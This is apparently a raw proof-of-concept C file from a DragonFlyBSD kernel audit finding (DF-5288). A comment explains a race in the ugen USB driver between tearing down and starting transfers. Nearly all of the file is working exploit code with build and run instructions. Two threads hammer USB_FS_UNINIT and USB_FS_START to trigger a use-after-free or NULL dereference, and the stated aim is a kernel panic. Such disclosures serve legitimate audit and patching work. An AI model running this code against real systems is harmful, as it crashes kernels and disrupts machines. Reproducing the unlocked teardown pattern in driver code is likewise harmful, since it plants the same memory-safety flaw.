⬢ DragonFlyBSD Kernel Audit
DF-5288 / df5288.c
← back to finding ↓ download raw
/*
 * DF-5288 -- USB_FS_UNINIT vs USB_FS_START/USB_FS_OPEN race on a shared
 * ugen fd -> use-after-free / NULL-deref of f->fs_xfer in the kernel.
 *
 * Root cause (sys/bus/u4b/usb_generic.c):
 *   ugen_fs_uninit() [usb_generic.c:972] does
 *       usbd_transfer_unsetup(f->fs_xfer, f->fs_ep_max);
 *       kfree(f->fs_xfer, M_USB);
 *       f->fs_xfer = NULL; f->fs_ep_max = 0;
 *   WITHOUT holding f->priv_lock.  Concurrent USB_FS_START
 *   (ugen_ioctl [usb_generic.c:1424]) runs ugen_fs_copy_in() which
 *   validates "ep_index >= f->fs_ep_max" and caches "xfer =
 *   f->fs_xfer[ep_index]" with no lock, then sleeps in copyin() many
 *   times, and finally the ioctl body re-reads
 *       xfer = f->fs_xfer[u.pstart->ep_index];   [usb_generic.c:1429]
 *   under priv_lock -- but the array itself may already be freed / the
 *   pointer NULL -> NULL deref panic or use of freed memory.
 *
 * Build:  cc -o df5288 df5288.c -pthread
 * Run:    ./df5288            (needs rw access to the ugen control node)
 * Success criterion: kernel panics (page fault in ugen_ioctl /
 * ugen_fs_copy_in) or guest dies.  "survived" = race not won in this run.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define DEV	"/dev/usb/0.2.0"	/* control endpoint of ugen0.2 */
#endif

static int fd;
static volatile int stop;

/* userland endpoint array (mirrors what libusb does) */
static struct usb_fs_endpoint eps[4];
static uint32_t lengths[4];
static void *buffers[4];

/* GET_STATUS(device): bmRequestType=0x80 bRequest=0 wValue=0 wIndex=0 wLength=2 */
static uint8_t setup_buf[8] = { 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 };

static void
fs_init(void)
{
	struct usb_fs_init ini;

	memset(&ini, 0, sizeof(ini));
	ini.pEndpoints = eps;
	ini.ep_index_max = 4;
	if (ioctl(fd, USB_FS_INIT, &ini) < 0)
		err(1, "USB_FS_INIT");
}

static void
fs_open(void)
{
	struct usb_fs_open op;

	memset(&op, 0, sizeof(op));
	op.ep_index = 0;
	op.ep_no = 0x00;		/* control endpoint */
	op.max_bufsize = 256;
	op.max_frames = 4;
	if (ioctl(fd, USB_FS_OPEN, &op) < 0)
		err(1, "USB_FS_OPEN");
}

static void *
starter(void *arg)
{
	struct usb_fs_start st;

	memset(&st, 0, sizeof(st));
	st.ep_index = 0;

	while (!stop) {
		/*
		 * Refresh the userland structures that the kernel will
		 * copyin() one by one -- this stretches the unlocked
		 * window inside ugen_fs_copy_in() that the uninitializer
		 * has to hit.
		 */
		memset(eps, 0, sizeof(eps));
		eps[0].nFrames = 2;
		eps[0].pLength = lengths;
		eps[0].ppBuffer = buffers;
		eps[0].timeout = 250;	/* ms */
		lengths[0] = 8;		/* SETUP packet */
		lengths[1] = 2;		/* IN data */
		buffers[0] = setup_buf;
		buffers[1] = setup_buf;

		ioctl(fd, USB_FS_START, &st);
	}
	return (NULL);
}

int
main(void)
{
	pthread_t th;
	struct usb_fs_uninit un;
	int i, uninit_ok = 0;

	memset(&un, 0, sizeof(un));

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", DEV);

	fs_init();
	fs_open();

	if (pthread_create(&th, NULL, starter, NULL) != 0)
		err(1, "pthread_create");

	for (i = 0; i < 50000; i++) {
		/* tear the fs_xfer array down while the starter hammers */
		if (ioctl(fd, USB_FS_UNINIT, &un) == 0) {
			uninit_ok++;
			usleep(100 + (i % 7) * 37);
			fs_init();
			fs_open();
		}
		if ((i % 5000) == 0)
			printf("iter %d (uninit_ok=%d)\n", i, uninit_ok);
	}
	stop = 1;
	pthread_join(th, NULL);
	printf("survived %d uninit cycles\n", uninit_ok);
	return (0);
}